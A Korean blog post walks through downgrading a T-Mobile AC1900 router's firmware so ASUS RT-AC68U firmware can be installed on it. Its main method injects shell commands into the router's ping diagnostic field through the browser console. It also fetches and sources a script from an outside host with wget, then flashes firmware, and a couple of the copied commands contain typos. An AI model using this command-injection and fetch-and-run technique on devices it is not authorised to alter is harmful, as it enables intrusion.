본문 바로가기

Repair & Upgrade。

T-Mobile AC1900 (ASUS RC-AC68U) 펌웨어변경 - 1. 펌웨어 다운그레이드

프롤로그


T-Mobile에서 인터넷 설치할 때 제공?대여?해주는 공유기로 알고 있다.
통신사 자체 펌웨어가 설치되어 있는데 
하드웨어는 ASUS RT-AC68U랑 같은 제품이다.
ASUS 정품은 가격이 20만원정도이기 때문에 
(그나마 내린거다 2년전쯤엔 25만원정도 했었다.)
T-Mobile 오픈박스 제품을 최대한 저렴하게 구매하여
(오픈마켓에서 9만원정도에 구매 / 직구는 더 저렴하다.)
약간(?)의 노력으로 펌웨어를 교체하면 정품과 동일하게 사용할 수 있다.
(요즘에는 최신 펌웨어는 설치가 안된다는 얘기가 있다.)
나는 2년전부터 구매하여 잘 사용하고 있었고 
제품이 너무 괜찮아서 이번에 추천하면서 구매 및 펌웨어를 교체하였다.
역시나 매번 할때마다 방법 찾는데 시간이 너무 오래 걸려서..
정리해본다.


준비
준비물 : 컴퓨터, T-Mibile AC1900 공유기, USB memory, Merlin firmware
          SuperPuTTY, 압축해제 프로그램(ex: 반디집.. 알집 등등)

작업 순서
1. 환경 설정
2. AC1900 펌웨어 다운그레이드
 - 현재 버전에서는 ssh 접속이 불가하기 때문에 ssh 접속이 가능했던 버전으로 다운그레이드한다.
3. RT-AC68U 펌웨어 업로드 및 설치
4. 롤백 방지 설정 및 최신 버전으로 업데이트

-------------------------------------------

1. 환경 설정


준비물 아래 줄에 있는 것들을 다 설치한다.
1-1. PuTTY 설치
참고사이트에는 PuTTY와 WinSCP를 설치하라고 되어있지만
나는 서버 개발자이기 때문에 이미 설치되어 있는 SuperPutty를 사용하였다.
간혹가다 한번 씩 telnet이나 ssh 접속할일이 생길 수 있기 때문에
나중을 위해 SuperPutty 설치를 추천한다.
1-2. WinSCP 설치

 


2. AC1900 펌웨어 다운그레이드

 

2-1. 이전방법 
예전에는 하드웨어 버튼을 이용하여 복구모드 진입하는 방법으로  
이전 버전의 펌웨어를 upload하여 복원하는 방법을 사용했었는데,
이번에는 잘 되지 않았다.  
복구모드 웹페이지까지는 보이는데 펌웨어 업로드버튼을 눌러도  
업로드 상태가 0%에서 올라가지 않는다.

그래도 혹시 되는 분들이 있다면 이 방법이 편하긴 하기 때문에

순서를 적어본다.

(한 두번 해서 안되면 바로 다음 방법으로 넘어가시죠)

 

1. 연결된 컴퓨터에서 인터넷 IP를 192.168.29.5로 설정한다. (192.168.29.1만 아니면 됨) 

2. 인터넷 연결 케이블(WAN)을 탈착한다음 전원 버튼으로 종료한다.

3. 약간의 시간 뒤에(20초라고들 한다.) reset 버튼을 누른 상태로 전원을 켠다.

4. 여기서부터 케바케인데.. 어떻게든 아래 스샷이 나오면 된다.

 - 20여초 뒤에 전원 LED가 깜박거리면 웹브라우저에서 192.168.29.1로 접속한다.

 - 최신버전으로 갈수록 전원 LED가 깜박거리지 않는다던지의 현상이 있으므로

   3번과정 전에 웹브라우저에 밀 192.168.29.1을 적어놓고 Reset 버튼을 누른 상태에서 새로고침을 한다.

   6초이내에 반응이 올 경우가 많음

5. 웹페이지가 뜨면 아래의 과정으로 진행하면 된다.

6. 다만 업로드를 눌러도 반응이 없다면(업로드 상태가 0%를 유지한다면) 미련을 버리자.

 

업로드만 잘 되면 위의 순서로 진행하면 된다.


2-2. 새로운 방법
신박한 방법이 있어서 아래 링크의 방법으로 시도해보았다.

 

bak2ya.tistory.com/350

 

최신) TM-AC1900 펌웨어 1703으로 다운그레이드 하기

2019년 11월 업데이트. 약 1년 전부터 ASUS 에서는 TM-AC1900 모델을 이전 방법(https://bak2ya.tistory.com/258)을 통해 1703버전의 펌웨어로 롤백 하는것을 막아버렸다. 잘 사용하고있던 유저들도 업데이트를 ��

bak2ya.tistory.com

ping 명령어를 실행하면서 뒤에 code를 붙여서 같이 실행하게끔하는 방법인데
역시 고수가 많다는..

(기본적인 방법은 위의 사이트를 참고하시고 제 블로그에서 스샷 위주로 보시면 될 듯합니다.)

 

 

--- 참고 사이트 ---

사이트 글이 내려갈 수 있기 때문에 주요 방법은 남길예정이다.

블로그 글 올리신 분도 아래 링크서부터 시작하였고

http://www.ppomppu.co.kr/zboard/view.php?id=computer&no=505863

 

3199버전 펌에서 다운그레이드 안되던 TM-AC1900 다운그레이드

일단 원문 링크는 여기입니다 모든과정은 인터넷이 연결된 상태에서 해야됩니다 먼저

www.ppomppu.co.kr

뽐뿌에 글 올리신 분은 아래 링크에서부터 시작하셨다.

 

https://docs.google.com/document/d/1NsZMONmJ70zMmoAKKQJXbTVKytaPJptWTpqih1TD5n8/edit#heading=h.fdrlq3l51p0

 

From AC1900 To AC68U After Revert

Foreword These instructions are only intended for the purpose of being able to install legally licensed firmware on routers you own. Do not use this guide as instructions for violating any patents or copyright laws. There are three versions of these instru

docs.google.com

------------------------------

 

* 이 방법은 반드시 인터넷 연결(WAN)이 되어 있어야 한다.

* 따로 컴퓨터에서 IP를 설정하지 않아도 되는 장점이 있다.

 

자 이제 시작!

 

 - USB disk 포맷

 : 먼저 USB memory를 준비하고 포맷한다.

매뉴얼에 아래와 같이 거의 다 지원한다고 하니 포맷은 상관없을 것 같다.

RT-ac68u 매뉴얼
The wireless router works with most USB HDDs/Flash disks(up to 2TB size) and supports read-write access for FAT16, FAT32, EXT2, EXT3, and NTFS.

다만 나는 위의 블로그에 적혀있는 FAT32로 포맷하였다.

 

 - AC1900 다운그레이드 버전 펌웨어 USB에 복사

 : 아래링크에서 다운그레이드 버전을 다운받고 USB에 복사한다음 파일명을 "firmware1703.trx" 로 변경한다.

http://www.bayareatechpros.com/ac1900-to-ac68u/

 

 - 공유기 뒷면에 USB를 꼽는다. 나는 2.0 포트에 연결함

 

 - 깔끔한 작업을 위해 공유기가 켜진 상태에서 reset 버튼을 누르고 LED가 점멸 될 때까지 기다렸다 뗀다.

 : 초기화 후 재부팅이 진행된다. (명령어 실패 시 루프 도는 곳ㅋㅋㅋㅋ)

 

 - 웹브라우져에서 192.168.29.1 로 접속한다.

 : id / passwd는 admin / password

TM-AC1900이라고 써있고... 내가 받은 공유기의 펌웨어 버전은 3.0.0.4.376_3199 이다.

 

 - 설정 -> 네트워크 분석 탭 -> 탭 내에 아무곳에서나 마우스 오른쪽 버튼을 누르고 "검사"를 클릭 -> console 탭으로 이동

 : 크롬, 엣지는 "검사", 익스플로러는 "요소검사" 

 

-----------------------------------------

이제부터 신박한 방법의 point!

 

 - test code를 시험한다.

 (명령어 실행 기본과정이므로 스샷에서 글자색과 같은 네모부분을 확인한다.)

 : console 창의 ">" 에 아래 코드를 복붙(Ctrl C + V)하고 엔터로 입력한다. 

validForm = function(){document.form.SystemCmd.value = "ping\necho hello world";return true;}

 

 : 아래 줄에 "<-f" 로 시작하는 줄이 뜨는걸 확인한 다음

 : "네트워크 진단 실행" 버튼을 클릭

 : 결과창에 "hello world"를 확인한다.

 - 본격적으로 명령어를 순차적으로 수행한다. "네트워크 진단 실행"버튼 클릭 후 활성화 될 때까지 기다렸다 다음 명령어를 실행하도록..

 : 이 블로그는 복사가 안되므로 위에 설명했던 링크의 11페이지 가장하단의 명령부터 실행하면 된다.

(https://docs.google.com/document/d/1NsZMONmJ70zMmoAKKQJXbTVKytaPJptWTpqih1TD5n8/edit#)

 

1 번째 command - 반응없음 

 validForm = function(){document.form.SystemCmd.value = "ping\nmount -t tmpfs tmpfs userRpm";return true;}

Press enter, then click Diagnose button.

2 번째 command - 반응없음

validForm = function(){document.form.SystemCmd.value = "ping\nmount";return true;}

Press enter, then click Diagnose button.

3 번째 command - cp: recursion detected, omitting directory "./userRpm" (스샷 참조)

validForm = function(){document.form.SystemCmd.value = "ping\ncp -a . userRpm";return true;}

4 번째 command - 반응없음

validForm = function(){document.form.SystemCmd.value = "ping\nmount --move userRpm .";return true;}

Press enter, then click Diagnose button.

5 번째 command - 반응없음

validForm = function(){document.form.SystemCmd.value = "ping\nmount";return true;}

Press enter, then click Diagnose butformton.

6 번째 command - 약간의 기다린다. (id/passwd를 물어본 후 "Done" 표시)

validForm = function(){document.for.m.SystemCmd.value = "ping\nservice restart_httpd";return true;}

7 번째 command 하기전에 다른 브라우저를 실행하거나 폰에서 아래 command 중 docbill.freeshell.org에 접속하여 아래의 스샷이 뜨는지 확인. (서버가 가끔 동작 안할때가 있다고 함.. 안되면 지금은 진행할 타이밍이 아니라는 뜻..ㅎ)

 - u.txt를 다운 받는지 확인 (스샷 확인)

validForm = function(){document.form.SystemCmd.value = "ping\nwget -A txt -r -nH -nd docbill.freeshell.org";return true;}

8 번째 command - "firmware1703.trx" mount경로를 표시한다.

validForm = function(){document.form.SystemCmd.value = "ping\n. u.txt " + encodeURIComponent("find /tmp/mnt  -name firmware1703.trx" ).replace(/%/g,"..");return true;}

9 번째 command - linux: CRC OK

validForm = function(){document.form.SystemCmd.value = "ping\n. u.txt " + encodeURIComponent("/sbin/mtd-write2 /tmp/mnt/USB/firmware1703.trx linux").replace(/%/g,"..");return true;}

 - 모든 명령어 수행 시 결과가 안맞거나 실패하는 경우 공유기 초기화 과정부터 다시 진행하였다.

 - 완료 후 조금 쉬었다가(블로그 분 말대로 5분정도 딴일 함ㅋ) NVRAM reset 과정 실행

 : 전원 끄고 -> WPS 버튼을 누른채로 전원 켬 -> 전원 LED 깜박거리면 WPS 버튼에서 손 뗀다.

 - 재부팅 진행 후 다시 웹브라우저로 접속하여 펌웨어 버전을 확인한다.

 

다운그레이드 성공!

--------------------- 여기까지 했으면 70% 이상 된거라고 생각됨ㅎㅎ --------------

 

- 오늘은 여기까지 -